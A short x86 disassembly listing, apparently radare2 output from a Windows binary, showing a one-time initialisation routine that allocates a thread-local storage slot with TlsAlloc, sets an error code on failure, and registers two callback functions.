cmp dword [0x5077a0], 0
je 0x42f5e0
mov esp, ebp
pop ebp
ret
mov dword [0x5077a0], 1
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x5077ac], eax
cmp eax, 0xffffffff
jne 0x42f606
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov esp, ebp
pop ebp
ret
push 0x42f3f0
call fcn.00478bf0
push 0x42f3b0
call fcn.00478bf0
add esp, 8
jmp 0x42f5dc